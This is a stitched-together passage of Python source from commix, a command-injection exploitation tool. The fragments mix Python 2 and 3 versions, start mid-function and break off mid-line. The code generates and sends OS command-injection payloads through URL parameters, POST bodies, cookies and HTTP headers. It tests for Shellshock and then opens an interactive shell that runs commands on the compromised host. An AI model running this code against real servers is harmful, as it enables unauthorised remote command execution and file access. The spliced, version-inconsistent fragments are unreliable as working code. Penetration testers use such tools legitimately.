file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print( settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SINGLE_WHITESPACE) tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) raise SystemExit() if not new_line: print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg( question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print("\n" + settings. print_output(output)) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, output) print( settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg( err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass break if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): if alter_shell: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution_alter_shell( separator, TAG, cmd) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: response = host_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = url.replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) else: # Check if defined method is POST. parameter = menu.options.data parameter = urllib.parse.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = parameter.replace("+", "%2B") # Define the POST data if settings.IS_JSON: payload = payload.replace("\"", "\\\"") data = parameter.replace(settings.INJECT_TAG, urllib.parse.unquote(payload)) try: data = json.loads(data, strict=False) except: pass request = urllib.request.Request(url, json.dumps(data)) else: if settings.IS_XML: data = parameter.replace(settings.INJECT_TAG, urllib.parse.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) request = urllib.request.Request(url, data) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) return response # Do the injection check response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) tries = 0 while not response: if tries < (menu.options.failed_tries / 2): response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) tries = tries + 1 else: err_msg = "Something went wrong, the request has failed (" + str( tries) + ") times continuously." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() return response
def do_POST_check(parameter): http_request_method = "POST" # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'", "\"") # Check if JSON Object. if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: checks.process_json_data() settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: checks.process_xml_data() settings.PARAMETER_DELIMITER = "" else: pass parameters_list = [] # Split multiple parameters if settings.IS_XML: _ = [] parameters = re.findall(r'(.*)', parameter) parameters = [param + "\n" for param in parameters if param] for value in range(0, len(parameters)): _.append(parameters[value]) multi_parameters = _ else: try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: checks.inappropriate_format(multi_parameters) # Check for empty values (in provided parameters). # Check if single parameter is supplied. if len(multi_parameters) == 1: #Grab the value of parameter. if settings.IS_JSON: #Grab the value of parameter. value = re.findall(r'\"(.*)\"', parameter) value = ''.join(value) if value != settings.INJECT_TAG: value = re.findall(r'\s*\:\s*\"(.*)\"', parameter) value = ''.join(value) elif settings.IS_XML: #Grab the value of parameter. value = re.findall(r'>(.*)</', parameter) value = ''.join(value) else: _ = [] _.append(parameter) parameter = ''.join(checks.check_similarities(_)) value = re.findall(r'=(.*)', parameter) value = ''.join(value) if checks.is_empty(multi_parameters, http_request_method): return parameter else: # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(parameter): return parameter if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(value) # Replace the value of parameter with INJECT_HERE tag inject_value = value.replace(value, settings.INJECT_TAG) if len(value) == 0: if settings.IS_JSON: parameter = parameter.replace( ":\"\"", ":\"" + settings.INJECT_TAG + "\"") else: parameter = parameter + settings.INJECT_TAG else: parameter = parameter.replace(value, inject_value) return parameter else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. if settings.IS_XML: all_params = multi_parameters else: all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) # Check for similarity in provided parameter name and value. all_params = all_params.split(settings.PARAMETER_DELIMITER) all_params = checks.check_similarities(all_params) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in parameter: checks.is_empty(multi_parameters, http_request_method) for param in range(0, len(all_params)): if param == 0: if settings.IS_JSON: # old = re.findall(r'\:\"(.*)\"', all_params[param]) # old = ''.join(old) old = re.findall(r'\:(.*)', all_params[param]) old = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(old)) elif settings.IS_XML: old = re.findall(r'>(.*)</', all_params[param]) old = ''.join(old) else: old = re.findall(r'=(.*)', all_params[param]) old = ''.join(old) else: old = value # Grab the value of parameter. if settings.IS_JSON: # Grab the value of parameter. # value = re.findall(r'\:\"(.*)\"', all_params[param]) # value = ''.join(value) value = re.findall(r'\:(.*)', all_params[param]) value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) elif settings.IS_XML: value = re.findall(r'>(.*)</', all_params[param]) value = ''.join(value) else: value = re.findall(r'=(.*)', all_params[param]) value = ''.join(value) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): continue if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(value) # Replace the value of parameter with INJECT_HERE tag inject_value = value.replace(value, settings.INJECT_TAG) # Skip testing the parameter(s) with empty value(s). if menu.options.skip_empty: if len(value) == 0: if settings.IS_JSON: provided_value = re.findall( r'\:(.*)', all_params[param]) provided_value = re.sub( settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) elif settings.IS_XML: provided_value = re.findall( r'>(.*)</', all_params[param]) provided_value = ''.join(provided_value) else: provided_value = re.findall( r'(.*)=', all_params[param]) provided_value = ''.join(provided_value) else: all_params[param] = all_params[param].replace( value, inject_value) all_params[param - 1] = all_params[param - 1].replace( inject_value, old) parameter = settings.PARAMETER_DELIMITER.join( all_params) parameters_list.append(parameter) parameter = parameters_list else: if len(value) == 0: if settings.IS_JSON: all_params[param] = all_params[param].replace( ":\"\"", ":\"" + settings.INJECT_TAG + "\"") elif settings.IS_XML: all_params[param] = all_params[param].replace( "></", ">" + settings.INJECT_TAG + "</") else: all_params[param] = all_params[ param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace( value, inject_value) # if settings.IS_JSON and not "\"" + settings.INJECT_TAG + "\"" in all_params[param]: # all_params[param] = all_params[param].replace(settings.INJECT_TAG, "\"" + settings.INJECT_TAG + "\"") all_params[param - 1] = all_params[param - 1].replace( inject_value, old) parameter = settings.PARAMETER_DELIMITER.join(all_params) parameters_list.append( parameter.replace(settings.RANDOM_TAG, "")) parameter = parameters_list else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. if settings.IS_JSON: value = re.findall(r'\"(.*)\"', multi_parameters[param]) value = ''.join(value) if settings.IS_XML: value = re.findall(r'>(.*)</', all_params[param]) value = ''.join(value) else: value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) return parameter
def check_http_traffic(request): # Delay in seconds between each HTTP request time.sleep(int(settings.DELAY)) if settings.PROXY_PROTOCOL == 'https': handle = httplib.HTTPSConnection else: handle = httplib.HTTPConnection class do_connection(handle): def request(self, method, url, body, headers): info_msg = "The provided HTTP request headers: " if settings.VERBOSITY_LEVEL >= 2: print settings.print_info_msg(info_msg) if menu.options.traffic_file: logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37) header = method + " " + url if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) for item in headers.items(): header = item[0] + ": " + item[1] if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if body: header = body if settings.VERBOSITY_LEVEL >= 2: print settings.print_traffic(header) if menu.options.traffic_file: logs.log_traffic("\n" + header) if menu.options.traffic_file: logs.log_traffic("\n\n") if settings.PROXY_PROTOCOL == 'https': httplib.HTTPSConnection.request(self, method, url, body, headers) else: httplib.HTTPConnection.request(self, method, url, body, headers) class connection_handler(urllib2.HTTPHandler, urllib2.HTTPSHandler): if settings.PROXY_PROTOCOL == 'https': def https_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.INIT_TEST == True: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" else: if settings.VERBOSITY_LEVEL < 1: print "" print settings.print_critical_msg(error_msg) raise SystemExit() else: def http_open(self, req): try: return self.do_open(do_connection, req) except Exception as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." except IndexError: error_msg = str(err_msg.args[0]) + "." if settings.INIT_TEST == True: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" else: if settings.VERBOSITY_LEVEL < 1: print "" print settings.print_critical_msg(error_msg) raise SystemExit() if settings.REVERSE_TCP == False and settings.BIND_TCP == False: opener = urllib2.OpenerDirector() opener.add_handler(connection_handler()) response = False current_attempt = 0 while not response and current_attempt <= settings.MAX_RETRIES: try: opener.open(request) response = True if settings.VERBOSITY_LEVEL < 2: if current_attempt != 0: info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.INIT_TEST == True: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" if not settings.CHECK_INTERNET: settings.INIT_TEST = False except urllib2.URLError, err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" try: error_msg = str(err_msg.args[0]).split("] ")[1] + ". " except IndexError: error_msg = "" error_msg += "Please wait while retring the request(s)." print settings.print_critical_msg(error_msg) warn_msg = "In case the provided target URL is valid, try to rerun with" warn_msg += " the switch '--random-agent' and/or proxy switch." print settings.print_warning_msg(warn_msg) if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1: info_msg = "Please wait while retring the request(s)." print settings.print_info_msg(info_msg) current_attempt = current_attempt + 1 time.sleep(3) except httplib.BadStatusLine, err_msg: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" if len(err_msg.line) > 2: print err_msg.line, err_msg.message raise SystemExit() except AttributeError: raise SystemExit()
def do_check(url, filename): if menu.options.enable_backticks: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "The '--backticks' switch is only supported by the classic command injection. " warn_msg += "It will be ignored for all other techniques." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL if menu.options.wizard: if perform_checks(url, filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL ) and settings.LOAD_SESSION != True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str( scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_level = sys.stdin.readline().replace("\n", "").lower() else: next_level = "" if len(next_level) == 0: next_level = "y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks( url, filename ) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL: scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + next_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: perform_checks(url, filename) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell: err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL: err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" else: if menu.options.skip_empty: err_msg += " and/or try to remove the option '--skip-empty'" err_msg += "." print settings.print_critical_msg(err_msg) logs.print_logs_notification(filename, url) if not settings.CHECK_BOTH_OS: # if not menu.options.bulkfile or settings.EOF: # print "" raise SystemExit() # eof
def do_check(request): # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == None: request.add_header('Host', menu.options.host) # Check if defined any User-Agent HTTP header. if menu.options.agent: request.add_header('User-Agent', menu.options.agent) # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header('Referer', menu.options.referer) # Check if defined any Cookie HTTP header. if menu.options.cookie and settings.COOKIE_INJECTION == False: request.add_header('Cookie', menu.options.cookie) # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic / Digest Access Authentication. if not menu.options.ignore_401: if menu.options.auth_cred and menu.options.auth_type: try: settings.SUPPORTED_HTTP_AUTH_TYPES.index( menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = base64.encodestring( menu.options.auth_cred).replace('\n', '') request.add_header("Authorization", "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: url = menu.options.url try: response = urllib2.urlopen(url) except urllib2.HTTPError, e: try: authline = e.headers.get( 'www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''', authline).groups() realm = authobj[1].split(',')[0].replace( "\"", "") user_pass_pair = menu.options.auth_cred.split( ":") username = user_pass_pair[0] password = user_pass_pair[1] authhandler = urllib2.HTTPDigestAuthHandler() authhandler.add_password( realm, url, username, password) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) result = urllib2.urlopen(url) except AttributeError: pass except urllib2.HTTPError, e: pass except ValueError: err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." err_msg += " Try basic or digest HTTP authentication type." print settings.print_critical_msg(err_msg) sys.exit(0) else: pass # The MIME media type for JSON. if settings.IS_JSON: request.add_header("Content-Type", "application/json") # Check if defined any extra HTTP headers. if menu.options.headers or menu.options.header: # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character( menu.options.headers) extra_headers = menu.options.headers else: menu.options.header = checks.wildcard_character( menu.options.header) extra_headers = menu.options.header extra_headers = extra_headers.replace(":", ": ") if ": //" in extra_headers: extra_headers = extra_headers.replace(": //", "://") if "\\n" in extra_headers: extra_headers = extra_headers.split("\\n") # Remove empty strings extra_headers = [x for x in extra_headers if x] if menu.options.header and not menu.options.headers and len( extra_headers) > 1: warn_msg = "Swithing '--header' to '--headers' " warn_msg += "due to multiple extra HTTP headers." print settings.print_warning_msg(warn_msg) else: tmp_extra_header = [] tmp_extra_header.append(extra_headers) extra_headers = tmp_extra_header for extra_header in extra_headers: # Extra HTTP Header name http_header_name = re.findall(r"(.*): ", extra_header) http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value http_header_value = re.findall(r":(.*)", extra_header) http_header_value = ''.join(http_header_value).strip() # Check if it is a custom header injection. if settings.CUSTOM_HEADER_INJECTION == False and \ settings.INJECT_TAG in http_header_value: settings.CUSTOM_HEADER_INJECTION = True settings.CUSTOM_HEADER_NAME = http_header_name request.add_header(http_header_name, http_header_value)
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: sys.stdout.write("\n" + settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating payload for the injection..." print(settings.print_info_msg(info_msg)) print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload else: menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor. elif menu.options.tor: response = tor.use_tor(request) else: response = _urllib.request.urlopen(request) percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = settings.SUCCESS_MSG no_result = False elif len(response.info()) > 0 and cve in response.info(): percent = settings.SUCCESS_MSG no_result = False elif len(response.read()) > 0 and cve in response.read(): percent = settings.SUCCESS_MSG no_result = False else: percent = str(float_percent)+ "%" if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL >= 1: checks.total_of_requests() success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." if settings.VERBOSITY_LEVEL <= 1: print("") print(settings.print_success_msg(success_msg)) sub_content = "\"" + payload + "\"" print(settings.print_sub_content(sub_content)) # Enumeration options. if settings.ENUMERATION_DONE == True : if settings.VERBOSITY_LEVEL >= 1: print("") while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input(settings.print_question_msg(question_msg)) else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again= "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL raise SystemExit() else: # Pseudo-Terminal shell print("") go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell= "" if len(gotshell) == 0: gotshell= "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) if go_back: break else: shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: info_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL == 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") elif settings.VERBOSITY_LEVEL > 1: sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL > 1: info_msg = info_msg + "\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() break elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) continue break else: continue if no_result and settings.VERBOSITY_LEVEL < 2: print("") except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print("\n") + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except _urllib.error.URLError as err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print("") print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.IncompleteRead as err_msg: print(settings.print_critical_msg(err_msg + ".")) raise SystemExit()
# Check for 4xx and/or 5xx HTTP error codes. if str(err.code).startswith('4') or \ str(err.code).startswith('5'): if settings.VERBOSITY_LEVEL > 1: if len(str(err).split(": ")[1]) == 0: error_msg = error_msg + "Non-standard HTTP status code" warn_msg = error_msg print settings.print_warning_msg(warn_msg + ").") pass else: error_msg = str(err).replace(": ", " (") if len(str(err).split(": ")[1]) == 0: err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg print settings.print_critical_msg(err_msg + ").") raise SystemExit() # The handlers raise this exception when they run into a problem. except (socket.error, httplib.HTTPException, urllib2.URLError), err: err_msg = "Unable to connect to the target URL" try: err_msg += " (" + str(err.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." print settings.print_critical_msg(err_msg + ").") raise SystemExit() except httplib.IncompleteRead, err_msg: print settings.print_critical_msg(str(err_msg) + ".") raise SystemExit()
def cb_injection_handler(url, timesec, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + 